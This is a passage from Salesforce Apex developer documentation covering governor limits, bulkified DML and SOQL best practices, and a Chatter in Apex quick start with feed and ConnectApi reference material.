Personal, Contact Manager, and Group Editions

Mass email not available

Professional Edition

250

Enterprise Edition

500

Unlimited and Performance Edition

1,000

Note: Note the following about email limits:
•
•
•

The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
You can send an unlimited amount of email to your organization’s internal users, which includes portal users.
In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your
organization can send mass email to no more than 10 external email addresses per day. This lower limit does

241
Apex Transactions and Governor Limits

Using Governor Limit Email Warnings

not apply if your organization was created before the Winter '12 release and already had mass email enabled
with a higher limit. Additionally, your organization can send single emails to a maximum of 15 email
addresses per day.

Using Governor Limit Email Warnings
When an end-user invokes Apex code that surpasses more than 50% of any governor limit, you can specify a user in your
organization to receive an email notification of the event with additional details. To enable email warnings:
1.
2.
3.
4.
5.

Log in to Salesforce as an administrator user.
From Setup, click Manage Users > Users.
Click Edit next to the name of the user who should receive the email notifications.
Select the Send Apex Warning Emails option.
Click Save.

Running Apex Within Governor Execution Limits
Unlike traditional software development, developing software in a multitenant cloud environment, the Force.com platform,
relieves you from having to scale your code because the Force.com platform does it for you. Because resources are shared in a
multitenant platform, the Apex runtime engine enforces a set of governor execution limits to ensure that no one transaction
monopolizes shared resources.
Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception
that can’t be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had
to wash 100 t-shirts. Would you wash them one by one—one per load of laundry, or would you group them in batches for
just a few loads? The benefit of coding in the cloud is that you learn how to write more efficient code and waste fewer resources.
The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to
150 DML statements. There are some other limits that aren’t transaction bound, such as the number of batch jobs that can
be queued or active at one time.
The following are some best practices for writing code that doesn’t exceed certain governor limits.

Bulkifying DML Calls
Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements
limit. The following is an example that doesn’t bulkify DML operations, and the next example shows the recommended way
of calling DML statements.
Example: DML calls on single sObjects
The for loop iterates over line items contained in the liList List variable. For each line item, it sets a new value for the
Description__c field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a
run-time exception for exceeding the DML statement limit of 150. How do we fix this? Check the second example for a
simple solution.
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update li;
}

242
Apex Transactions and Governor Limits

Running Apex Within Governor Execution Limits

Recommended Alternative: DML calls on sObject lists
This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by
creating a new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on
the new list.
List<Line_Item__c> updatedList = new List<Line_Item__c>();
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
updatedList.add(li);
}
}
// Once DML call for the entire list of line items
update updatedList;

More Efficient SOQL Queries
Placing SOQL queries inside for loop blocks isn’t a good practice because the SOQL query executes once for each iteration
and may surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every
item in Trigger.new, which isn’t efficient. An alternative example is given with a modified query that retrieves child items
using only one SOQL query.
Example: Inefficient querying of child items
The for loop in this example iterates over all invoice statements that are in Trigger.new. The SOQL query performed
inside the loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or
updated, and thus contained in Trigger.new, this results in a run-time exception because of reaching the SOQL limit. The
second example solves this problem by creating another SOQL query that can be called only once.
trigger LimitExample on Invoice_Statement__c (before insert, before update) {
for(Invoice_Statement__c inv : Trigger.new) {
// This SOQL query executes once for each item in Trigger.new.
// It gets the line items for each invoice statement.
List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c
FROM Line_Item__c
WHERE Invoice_Statement__c = :inv.Id];
for(Line_Item__c li : liList) {
// Do something
}
}
}

Recommended Alternative: Querying of child items with one SOQL query
This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that
retrieves all invoice statements that are part of Trigger.new and also gets their line items through the nested query. In this
way, only one SOQL query is performed and we’re still within our limits.
trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) {
// Perform SOQL query outside of the for loop.
// This SOQL query runs once for all items in Trigger.new.
List<Invoice_Statement__c> invoicesWithLineItems =
[SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r)
FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.KeySet()];
for(Invoice_Statement__c inv : invoicesWithLineItems) {
for(Line_Item__c li : inv.Line_Items__r) {
// Do something
}
}
}

243
Apex Transactions and Governor Limits

Running Apex Within Governor Execution Limits

SOQL For Loops
Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this
limit is for code running synchronously and it is higher for asynchronous code execution.
Example: Query without a for loop
The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the
returned merchandise items are large in size and a large number of them was returned, the heap size limit might be hit.
List<Merchandise__c> ml = [SELECT Id,Name FROM Merchandise__c];

Recommended Alternative: Query within a for loop
To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches
of 200 records. This reduces the size of the ml list variable which now holds 200 items instead of all items in the query results,
and gets recreated for every batch.
for (List<Merchandise__c> ml : [SELECT Id,Name FROM Merchandise__c]){
// Do something.
}

244
Chapter 10
Using Salesforce Features with Apex
In this chapter ...
•
•
•
•
•
•
•
•
•
•
•
•
•

Working with Chatter in Apex
Approval Processing
Outbound Email
Inbound Email
Knowledge Management
Publisher Actions
Force.com Sites
Rewriting URLs for Force.com Sites
Support Classes
Visual Workflow
Passing Data to a Flow Using the
Process.Plugin Interface
Communities
Zones

Several Salesforce application features in the user interface are exposed in Apex
enabling programmatic access to those features in the Force.com platform.
For example, using Chatter in Apex enables you to post a message to a Chatter
feed. Using the approval methods, you can submit approval process requests
and approve these requests.

245
Using Salesforce Features with Apex

Working with Chatter in Apex

Working with Chatter in Apex
Many Chatter REST API resource actions are exposed as static methods on Apex classes in the ConnectApi namespace.
These methods use other ConnectApi classes to input and return information. The ConnectApi namespace is referred to
as Chatter in Apex.
Use Chatter in Apex to develop native, social Force.com applications. Create Visualforce pages that display feeds, post feed
items with mentions and topics, and update user and group photos. Create triggers that update Chatter feeds. Use ConnectApi
classes to do just about anything you can do in the Chatter Web user interface.
In Apex, it is possible to access some Chatter data using SOQL queries and objects. However, ConnectApi classes expose
Chatter data in a much simpler way. Data is localized and structured for display. For example, instead of making many calls
to access and assemble a feed, you can do it with a single call.
Chatter in Apex methods execute in the context of the logged-in user, who is also referred to as the context user. The code has
access to whatever the context user has access to. It doesn’t run in system mode like other Apex code.
For Chatter in Apex reference information, see ConnectApi Namespace on page 440.
Chatter in Apex Quick Start
This quick start shows you how to get started with Chatter in Apex. Follow the steps to use Chatter in Apex to display the
Chatter feeds of two groups side by side in a Visualforce page.
Working with Feeds and Feed Items
Feeds are made up of feed items. A feed item is a piece of information posted by a user (for example, a poll) or by an automated
process (for example, when a tracked field is updated on a record). Because feeds and feed items are the core of Chatter,
understanding them is crucial to developing applications with Chatter REST API and Chatter in Apex.
Using ConnectApi Input and Output Classes
Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi
namespace also contains input classes to pass as parameters and output classes that can be returned by calls to the static
methods.
Accessing ConnectApi Data in Communities and Portals
Most ConnectApi methods work within the context of a single community.
Understanding Limits for ConnectApi Classes
Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
Serializing and Deserializing ConnectApi Obejcts
When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter
REST API. When ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
ConnectApi Versioning and Equality Checking
Versioning in ConnectApi classes follows specific rules that are quite different than the rules for other Apex classes.
Casting ConnectApi Objects
It may be useful to downcast some ConnectApi output objects to a more specific type.
Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.

246
Using Salesforce Features with Apex

Chatter in Apex Quick Start

Testing ConnectApi Code
Like all Apex code, Chatter in Apex code requires test coverage.
Differences Between ConnectApi Classes and Other Apex Classes
Please be aware of these additional differences between ConnectApi classes and other Apex classes.

Chatter in Apex Quick Start
This quick start shows you how to get started with Chatter in Apex. Follow the steps to use Chatter in Apex to display the
Chatter feeds of two groups side by side in a Visualforce page.
Tip: You can also watch a video of this quick start:
Using Chatter in Apex to Display Two Chatter Feeds in
a Visualforce Page (6:00 minutes). The video displays the news feeds of two Salesforce Communities instead of two
groups feeds, but the code is very similar.
Create an Apex controller that uses Chatter in Apex to populate a drop-down list with the groups that the logged-in user is
a member of. The controller code then takes the selected group and gets first page of feed items for that group. Next, create
a custom Visualforce component to display the feed items. Finally, create a Visualforce page that contains two instances of
the custom component:

This quick start is designed to get you up and running with Chatter in Apex as quickly as possible so the user interface is very
simple. In a real-world scenario, you would customize the user interface to match your organization’s branding.
Step 1: Get the Chatter Feed and Group Data
The first step is to create an Apex controller that uses Chatter in Apex to populate a drop-down list with the Chatter groups
that the logged-in user is a member of. The controller also uses Chatter in Apex to get the feed for the selected group.
Step 2: Display the Feed and Group Data in a Visualforce Component
The second step is to create a Visualforce custom component called GroupFeed that displays the data from the Apex controller.
Step 3: Display the Component in a Visualforce Page
The third step is to create a Visualforce page called DoubleGroupFeed that contains two instances of the GroupFeed custom
component we created in step 2.

247
Using Salesforce Features with Apex

Chatter in Apex Quick Start

Step 4: Create a Chatter Groups Tab
The final step is to create a tab in Salesforce.com that links to the DoubleGroupFeed Visualforce page.

Prerequisites
To complete the quick start you need access to a Developer Edition organization. You must also create at least two groups
and post to them so their feeds contain data.
You can't develop Apex in your Salesforce production organization. Live users accessing the system while you're developing
can destabilize your data or corrupt your application. Instead, you must do all your development work in either a sandbox or
a Developer Edition organization.
If you aren't already a member of the developer community, go to http://developer.force.com/join and follow the
instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition organization. Even if you already have an Enterprise, Unlimited, or Performance Edition organization and a sandbox
for creating Apex, we strongly recommends that you take advantage of the resources available in the developer community.

Step 1: Get the Chatter Feed and Group Data
The first step is to create an Apex controller that uses Chatter in Apex to populate a drop-down list with the Chatter groups
that the logged-in user is a member of. The controller also uses Chatter in Apex to get the feed for the selected group.
1.
2.
3.
4.

Click Your Name > Developer Console.
In the Developer Console, click File > New > Apex Class.
Enter the name GroupFeedController and click OK.
Copy this code and paste it into the GroupFeedController class, replacing the existing code:
global class GroupFeedController{
// Declare and assign values to strings to use as method parameters.
private static String communityId = null;
private static String userId = 'me';
// Holds the ID of the selected group.
// Pass this property to getFeedItemsFromFeed to get the group's feed.
global String groupId { get; set; }
// Get the IDs and names for all of the groups
// the logged-in user is a member of. Add them to
// a List of SelectionOption objects. This List populates
// the drop-down menu in the GroupFeed custom component.
global static List<SelectOption> getGroupOptions() {
List<SelectOption> options = new List<SelectOption>();
// Adds a blank option to display when the page loads.
options.add(new SelectOption('', ''));
// Declare and assign values to strings to use as method parameters.
Integer page = 0;
Integer pageSize = 100;
// Use Chatter in Apex to get the names and IDs of every group
// the logged-in user is a member of.
// Chatter in Apex classes are in the ConnectApi namespace.
// communityId -- a community ID or null.
// userId -- the user ID or the keyword 'me' to specify the logged-in user.
// page -- the page number to return.
// pageSize -- the number of items on the page.
ConnectApi.UserGroupPage groupPage = ConnectApi.ChatterUsers.getGroups(communityId,
userId, page, pageSize);

248
Using Salesforce Features with Apex

Chatter in Apex Quick Start

// The total number of groups the logged-in user is a member of.
Integer total = groupPage.total;
// Loop through all the groups and add each group's id and name
// to the list of selection options.
while (page * pageSize < total) {
// groupPage.groups is a List of ConnectApi.ChatterGroupSummary objects.
// ChatterGroupSummary is a subclass of ChatterGroup.
// For each ChatterGroup object in the List...
for (ConnectApi.ChatterGroup grp : groupPage.groups) {
// Add the group's ID and name to the list of selection options.
options.add(new SelectOption(grp.id, grp.name));
}
page++;
if (page * pageSize < total) {
// Get the next page of groups.
groupPage = ConnectApi.ChatterUsers.getGroups(communityId, userId, page,
pageSize);
}
}
// Return the list of selection options.
return options;
}
// Get the feed items that make up a group's feed.
global List<ConnectApi.FeedItem> getFeedItems() {
if (String.isEmpty(groupId)) { return null; }
// To get the feed for a group, use the Record feed type and pass a group ID.
// getFeedItemsFromFeed returns a ConnectApi.FeedItemPage class.
// To get the List of ConnectApi.FeedItem objects,
// add the .items property to the call.
return ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
ConnectApi.FeedType.Record, groupId).items;
}
public PageReference choose() {
return null;
}
}

5. Click File > Save.

Step 2: Display the Feed and Group Data in a Visualforce Component
The second step is to create a Visualforce custom component called GroupFeed that displays the data from the Apex controller.
1. In the Developer Console, click File > New > Visualforce Component.
2. Enter the name GroupFeed and click OK.
3. Copy this code and paste it into the GroupFeed component, replacing the existing code:
<apex:component controller="GroupFeedController">
<!-- Display the drop-down list of group names. -->
<apex:form >
<!-- Bind the selection value to the groupId property in the controller. -->
<apex:selectList value="{!groupId}" size="1">
<!-- Get the selection options from the getGroupOptions method in the
controller. -->
<apex:selectOptions value="{!groupOptions}"/>
<apex:actionSupport event="onchange" rerender="feed"/>
</apex:selectList>
</apex:form>

249
Using Salesforce Features with Apex

Chatter in Apex Quick Start

<!-- Display the feed for the selected group. -->
<apex:outputPanel id="feed">
<!-- Display the feed items.
Call the getFeedItems method in the controller to get the List of FeedItem
objects to display.
Use the feedItem var to reference a FeedItem object in the List. -->
<apex:repeat value="{!feedItems}" var="feedItem">
<div>
<!-- Display the photo for the feed item, the name of the actor who posted
the feed item,
and the text of the feed item. -->
<apex:image style="margin:4px" width="25" url="{!feedItem.photoUrl}"/><br/>
User: <b>{!feedItem.actor.name}</b><br/>
Text: <b>{!feedItem.body.text}</b><br/>
<apex:outputPanel >
<!-- Display the comments on the feed item.
Use the reference to the FeedItem object on line 17
to get the List of ConnectApi.Comment objects to display.
Use the comment var to reference a Comment object in the List. -->
<apex:repeat value="{!feedItem.comments.comments}" var="comment">
<div style="margin-left:25px">
<!-- Display the photo and name of the user who commented,
and display the text of the comment. -->
<apex:image style="margin:4px" width="25"
url="{!comment.user.photo.smallPhotoUrl}"/><br/>
User: <b>{!comment.user.name}</b><br/>
Text: <b>{!comment.body.text}</b>
</div>
</apex:repeat>
</apex:outputPanel>
</div>
</apex:repeat>
</apex:outputPanel>
</apex:component>

4. Click File > Save.

Step 3: Display the Component in a Visualforce Page
The third step is to create a Visualforce page called DoubleGroupFeed that contains two instances of the GroupFeed custom
component we created in step 2.
1. In the Developer Console, click File > New > Visualforce Page.
2. Enter the name DoubleGroupFeed and click OK.
3. Copy this code and paste it into the DoubleGroupFeed page, replacing the existing code:
<apex:page sidebar="false" >
<!-- Display two GroupFeed components side by side. -->
<div id="column1-wrap" style="float:left; width:50%; background-color:AliceBlue">
<div id="column1"><c:GroupFeed /></div>
</div>
<div id="column2" style="float:right; width:50%;
background-color:LightGray"><c:GroupFeed /></div>
</apex:page>

The <div> HTML elements create two vertical columns on the page.
4. Click File > Save.

250
Using Salesforce Features with Apex

Working with Feeds and Feed Items

Step 4: Create a Chatter Groups Tab
The final step is to create a tab in Salesforce.com that links to the DoubleGroupFeed Visualforce page.
1.
2.
3.
4.
5.

In Salesforce.com, from Setup, click Create > Tabs.
Click New in the Visualforce Tabs related list.
Select the DoubleGroupFeed Visualforce page to display in the custom tab.
Enter the label Chatter Groups to display on the tab.
Click the Tab Style lookup icon to display the Tab Style Selector. Click a tab style to select the color scheme and icon
for the custom tab and click Next.
6. Select the tab visibility for each profile, or accept the default and click Next.
7. Specify the custom apps that should include the new tab, or accept the default and click Save.
8. Click the Chatter Groups tab to open the new page. Select groups from the drop-down lists to see their feeds.
If you didn’t create groups and post to them before you started, you won’t see any content on the Chatter Groups page.

Working with Feeds and Feed Items
Feeds are made up of feed items. A feed item is a piece of information posted by a user (for example, a poll) or by an automated
process (for example, when a tracked field is updated on a record). Because feeds and feed items are the core of Chatter,
understanding them is crucial to developing applications with Chatter REST API and Chatter in Apex.
Note: Salesforce Help refers to feed items as posts.

How the Salesforce UI Displays Feed Items
To give customers a consistent view of feed items and to give developers an easy way to create UI, the Salesforce UI uses one
layout to display every feed item, regardless of the feed item type. The layout always contains the same elements and the
elements are always in the same position; only the content of the layout elements changes. If you stick to this structure, you
won’t have to create a unique layout for every feed item type.

These are the feed item layout elements:
1. Actor (ConnectApi.FeedItem.actor)—A photo or icon of the creator of the feed item. (You can override the creator
at the feed item type level. For example, the dashboard snapshot feed item type shows the dashboard as the creator.)
2. Preamble (ConnectApi.FeedItem.preamble)—Provides context. The same feed item can have a different preamble
depending on who posted it and where. For example, Gordon posted this feed item to his profile. If he then shared it to

251
Using Salesforce Features with Apex

Working with Feeds and Feed Items

a group, the preamble of the feed item in the group feed would be “Gordon Johnson (originally posted by Gordon Johnson)”
and the “originally posted” text would link to the feed item on Gordon’s profile.
3. Body (ConnectApi.FeedItem.body)—All feed items have a body, but the body can be null, which is the case when
the user doesn’t provide text for the feed item. Because the body can be null you can’t use it as the default case for rendering
text. Instead, use the text property of the feed item’s preamble, which always contains a value.
4. Auxiliary Body (ConnectApi.FeedItem.attachment)—The visualization of the attachment. There are multiple
attachment types. For example, for a link post, the attachment is the link and name, for a poll, it’s the poll data. In Chatter
in Apex, the attachment types are subclasses of ConnectApi.FeedItemAttachment. In Chatter REST API, the
attachment types are exposed as response bodies with the name Feed Item Attachment: Name, for example, Feed Item
Attachment: Link and Feed Item Attachment: Poll. If you don’t know how to display the attachment type, you can use
null.
5. Created By Timestamp (ConnectApi.FeedItem.relativeCreatedDate)—The date and time when the feed item
was posted formatted as a relative, localized string, for example, “17m ago” or “Yesterday.”
Here’s another example of a feed item in the Salesforce UI. This feed item’s auxiliary body contains a poll:

Feed Item Visibility
The feed items a user sees depend on how the administrator has configured feed tracking, sharing rules, and field-level security.
For example, if a user doesn’t have access to a record, they don’t see updates for that record. If a user can see the parent of the
feed item, the user can see the feed item. Typically, a user sees feed updates for:
•
•
•
•
•

Feed items that @mention the user if the user can access the feed item’s parent
Record field changes on records whose parent is a record the user can see, including User, Group, and File records
Feed items posted to the user
Feed items posted to groups the user owns or is a member of
Feed items for standard and custom records, for example, tasks, events, leads, accounts, files, and so on

Feed Types
There are many types of feeds. Each feed type is an algorithm that defines a collection of feed items.
Important: The algorithms, and therefore the collection of feed items, can change between releases.

In Chatter REST API, the feed types are exposed in the resources. For example, these are the resources for the news feed and
topics feed:
/chatter/feeds/news/userId
/chatter/feeds/topics/topicId

In Chatter in Apex, all feed types except Filter and Favorites are exposed in the ConnectApi.FeedType enum and passed
to the ConnectApi.ChatterFeeds.getFeedItemsFromFeed method or to the

252
Using Salesforce Features with Apex

Working with Feeds and Feed Items

ConnectApi.ChatterFeeds.postFeedItem method. This example gets the feed items from the logged-in user’s news

feed and topics feed:
ConnectApi.FeedItemPage newsFeedItemPage =
ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null,
ConnectApi.FeedType.News, 'me');
ConnectApi.FeedItemPage topicsFeedItemPage =
ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null,
ConnectApi.FeedType.Topics, '0TOD00000000dUg');

To get a filter feed, call ConnectApi.ChatterFeeds.getFeedItemsFromFilterFeed. To get a favorites feed, call
ConnectApi.ChatterFavorites.getFeedItems.
These are the feed types and their descriptions:
•
•
•
•
•
•

•
•
•
•
•

•
•

Bookmarks—Contains all feed items saved as bookmarks by the logged-in user.
Company—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have

sharing access to its parent.
Files—Contains all feed items that contain files posted by people or groups that the logged-in user follows.
Groups—Contains all feed items from all groups the logged-in user either owns or is a member of.
Moderation—Contains all feed items that have been flagged for moderation. The Communities Moderation feed is
available only to users with “Moderate Community Feeds” permissions.
News—Contains all updates for people the logged-in user follows, groups the user is a member of, files and records the
user is following, all updates for records whose parent is the logged-in user, and every post and comment that mentions
the logged-in user.
People—Contains all feed items posted by all people the logged-in user follows.
Record—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other
standard or custom object. When the record is a group, the feed also contains feed items that mention the group.
To—Contains all feed items with mentions of the logged-in user, feed items the logged-in user commented on, and feed
items created by the logged-in user that are commented on.
Topics—Contains all feed items that include the specified topic.
UserProfile—Contains feed items created when a user changes records that can be tracked in a feed, feed items whose
parent is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more
feed items, including group updates.
Favorites—Contains favorites saved by the logged-in user. Favorites are feed searches, list views, and topics.
Filter—Contains the news feed filtered to contain items whose parent is a specified entity type.

Posting a Feed Item
Use these resources and methods to post feed items:
Feed Type

Chatter REST API Resource

Chatter in Apex Method

News Feed

POST /chatter/feeds/news
/userId/feed-items

ConnectApi.ChatterFeeds.postFeedItem
(communityIdOrNull,
ConnectApi.FeedType.News, userId)

userId must be the ID of the logged-in user or the
alias me.
userId must be the ID of the logged-in user or the
alias me.

Record Feed

POST /chatter/feeds/record
/recordId/feed-items

ConnectApi.ChatterFeeds.postFeedItem
(communityIdOrNull,
ConnectApi.FeedType.Record, recordId)

253
Using Salesforce Features with Apex

Working with Feeds and Feed Items

Feed Type

Chatter REST API Resource

Chatter in Apex Method

User Profile
Feed

POST /chatter/feeds/user-profile
/userId/feed-items

ConnectApi.ChatterFeeds.postFeedItem
(communityIdOrNull,
ConnectApi.FeedType.UserProfile,
userId)

When you post a feed item, you’re creating a child of a standard or custom object. For Chatter REST API, specify the parent
object in the userId or recordId section of the resource. For Chatter in Apex, specify the parent object in the in the userId
or recordId argument.
The parent property of the posted feed item contains information about the parent object.
Select the correct feed type and parent object for the task you want to complete:
Post to yourself
Make a POST request to the news feed, the record feed, or the user profile feed.
For userId, specify the user ID of the logged-in user or the alias me.
The parent property of the newly posted feed item contains the User Summary object (ConnectApi.UserSummary)
of the logged-in user.
Post to another user
Make a POST request to the record feed or the user profile feed.
For recordId or userId, specify the user ID of the target user.
The parent property of the newly posted feed item contains the User Summary object (ConnectApi.UserSummary)
of the target user.
Post to a group
Make a POST request to the record feed.
For recordId, specify the group ID.
The parent property of the newly posted feed item contains the Group object (ConnectApi.ChatterGroupSummary)
of the specified group.
Post to a record (such as a file or an account)
Make a POST request to the record feed.
For recordId, specify the record ID.
The parent property of the new feed item depends on the record type specified in recordId. If the record type is File,
the parent is the File Summary object (ConnectApi.FileSummary). If the record type is Group, the parent is a Group
object (ConnectApi.ChatterGroupSummary). If the record type is User, the parent is a User Summary object
(ConnectApi.UserSummary). For all other record types, the parent is a a Record Summary object
(ConnectApi.RecordSummary).
Getting Feed Items from a Feed
Getting feed items from a feed is similar, but not identical, for each feed type.
To get the feed items from the company feed or the moderation feed, you don’t need to specify a subject ID:
Feed Type

Chatter REST API Resource

Chatter in Apex Method

Company

GET /chatter/feeds/company/feed-items ConnectApi.ChatterFeeds
.getFeedItemsFromFeed

254
Using Salesforce Features with Apex

Feed Type

Working with Feeds and Feed Items

Chatter REST API Resource

Chatter in Apex Method
(communityIdOrNull,
ConnectApi.FeedType.Company)

Moderation

GET /connect/communities/communityId
/chatter/feeds/moderation/feed-items

ConnectApi.ChatterFeeds
.getFeedItemsFromFeed
(communityIdOrNull,
ConnectApi.FeedType.Moderation)

To get the feed items from the favorites and filter feeds you need to specify a favoriteId or a keyPrefix. The keyPrefix
indicates the object type and is the first three characters of the object ID. For these feeds, the subjectId must be the ID of
the logged-in user or the alias me.
Feed Type

Chatter REST API Resource

Chatter in Apex Method

Favorites

GET /chatter/feeds/favorites
/subjectId/favoriteId/feed-items

ConnectApi.ChatterFavorites
.getFeedItems(communityIdOrNull,
subjectId, favoriteId)

Filter

GET /chatter/feeds/filter
/subjectId/keyPrefix/feed-items

ConnectApi.ChatterFeeds
.getFeedItemsFromFilterFeed
(communityIdOrNull, subjectId,
keyPrefix)

To get the feed items from a record feed you need to specify a record ID.
Feed Type

Chatter REST API Resource

Chatter in Apex Method

Record

GET
ConnectApi.ChatterFeeds
/chatter/feeds/record/recordId/feed-items .getFeedItemsFromFeed
(communityIdOrNull,
ConnectApi.FeedType.Record, recordId)

Tip: The recordId can be a record of any type that supports feeds, including group. The feed on the group page
in the Salesforce UI is a record feed. The feed on the user profile page in the Salesforce UI is also a record feed.
To get the feed items from all other feed types you need to specify a subject ID. Replace the feedType to specify a different
feed. For all the feeds in this table except the user profile feed and the topics feed, the subjectId must be the ID of the
logged-in user or the alias me.
Feed Type

Chatter REST API Resource

Chatter in Apex Method

Bookmarks,
Files, Groups,
News, People,
To, Topics, User
Profile

GET
ConnectApi.ChatterFeeds
/chatter/feeds/feedType/subjectId/feed-items .getFeedItemsFromFeed
(communityIdOrNull, feedType, subjectId)
For example: GET
/chatter/feeds/news/me/feed-items
For example: ConnectApi.ChatterFeeds
.getFeedItemsFromFeed

255
Using Salesforce Features with Apex

Feed Type

Using ConnectApi Input and Output Classes

Chatter REST API Resource

Chatter in Apex Method
(communityIdOrNull,
ConnectApi.FeedType.News, 'me')

See Also:
ChatterFavorites Class
ChatterFeeds Class

Using ConnectApi Input and Output Classes
Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi
namespace also contains input classes to pass as parameters and output classes that can be returned by calls to the static methods.
ConnectApi methods take either simple or complex types. Simple types are primitive Apex data like integers and strings.
Complex types are ConnectApi input objects.

The successful execution of a ConnectApi method can return an output object from the ConnectApi namespace. ConnectApi
output objects can be made up of other output objects. For example, ActorWithId contains simple properties such as id
and url, and also a sub-object, reference.

See Also:
ConnectApi Input Classes
ConnectApi Output Classes

Accessing ConnectApi Data in Communities and Portals
Most ConnectApi methods work within the context of a single community.
Many ConnectApi methods include communityId as the first argument. If you do not have communities enabled, use
'internal' or null for this argument.
If you have communities enabled, the communityId argument specifies whether to execute a method in the context of the
default community (by specifying 'internal' or null) or in the context of a specific community (by specifying a community
ID). Any entity, such as a comment, a feed item, and so on, referred to by other arguments in the method must be located in
the specified community. The specified community ID is used in all URLs returned in the output.
To access the data in a partner portal or a Customer Portal, use a community ID for the communityId argument. You cannot
use 'internal' or null.
Most URLs returned in ConnectApi output objects are Chatter REST API resources.
If you specify a community ID, URLs returned in the output use the following format:
/connect/communities/communityId/resource

If you specify 'internal', URLs returned in the output use the same format:
/connect/communities/internal/resource

256
Using Salesforce Features with Apex

Understanding Limits for ConnectApi Classes

If you specify null, URLs returned in the output use one of these formats:
/chatter/resource
/connect/resource

Understanding Limits for ConnectApi Classes
Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits.

Both have a per user, per namespace, per hour rate limit.
When you exceed the rate limit, a ConnectApi.RateLimitException is thrown. Your Apex code must catch and handle
this exception.
When testing code, a call to the Apex Test.startTest method starts a new rate limit count. A call to the Test.stopTest
method sets your rate limit count to the value it was before you called Test.startTest.

Serializing and Deserializing ConnectApi Obejcts
When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter
REST API. When ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
Chatter in Apex supports serialization and deserialization in the following Apex contexts:
•
•
•

JSON and JSONParser classes—serialize Chatter in Apex outputs to JSON and deserialize Chatter in Apex inputs from

JSON.
Apex REST with @RestResource—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter
in Apex inputs from JSON as parameters.
JavaScript Remoting with @RemoteAction—serialize Chatter in Apex outputs to JSON as return values and deserialize
Chatter in Apex inputs from JSON as parameters.

Chatter in Apex follows these rules for serialization and deserialization:
•
•
•

Only output objects can be serialized.
Only top-level input objects can be deserialized.
Enum values and exceptions cannot be serialized or deserialized.

ConnectApi Versioning and Equality Checking
Versioning in ConnectApi classes follows specific rules that are quite different than the rules for other Apex classes.
Versioning for ConnectApi classes follows these rules:
•
•
•
•

A ConnectApi method call executes in the context of the version of the class that contains the method call. The use of
version is analogous to the /vXX.X section of a Chatter REST API URL.
Each ConnectApi output object exposes a getBuildVersion method. This method returns the version under which
the method that created the output object was invoked.
When interacting with input objects, Apex can access only properties supported by the version of the enclosing Apex class.
Input objects passed to a ConnectApi method may contain only non-null properties that are supported by the version of
the Apex class executing the method. If the input object contains version-inappropriate properties, an exception is thrown.

257
Using Salesforce Features with Apex

Casting ConnectApi Objects

The output of the toString method only returns properties that are supported in the version of the code interacting with
the object. For output objects, the returned properties must also be supported in the build version.
Apex REST, JSON.serialize, and @RemoteAction serialization include only version-appropriate properties.
Apex REST, JSON.deserialize, and @RemoteAction deserialization reject properties that are version-inappropriate.

•
•
•

Equality checking for ConnectApi classes follows these rules:
Input objects—properties are compared.
Output objects—properties and build versions are compared. For example, if two objects have the same properties with
the same values but have different build versions, the objects are not equal. To get the build version, call getBuildVersion.

•
•

Casting ConnectApi Objects
It may be useful to downcast some ConnectApi output objects to a more specific type.
This technique is especially useful for message segments and feed item attachments. Message segments in a feed item are
typed as ConnectApi.MessageSegment. Feed item attachments are typed as ConnectApi.FeedItemAttachment.
Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete
subclasses. At runtime you can use instanceof to check the concrete types of these objects and then safely proceed with the
corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.
The following example downcasts a ConnectApi.MessageSegment to a ConnectApi.MentionSegment:
if(segment instanceof ConnectApi.MentionSegment) {
ConnectApi.MentionSegment = (ConnectApi.MentionSegment)segment;
}

Important: The composition of a feed may change between releases. Your code should always be prepared to handle
instances of unknown subclasses.
See ConnectApi.AbstractRecordField Class, ConnectApi.FeedItemAttachment Class, and ConnectApi.MessageSegment
Class.

Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
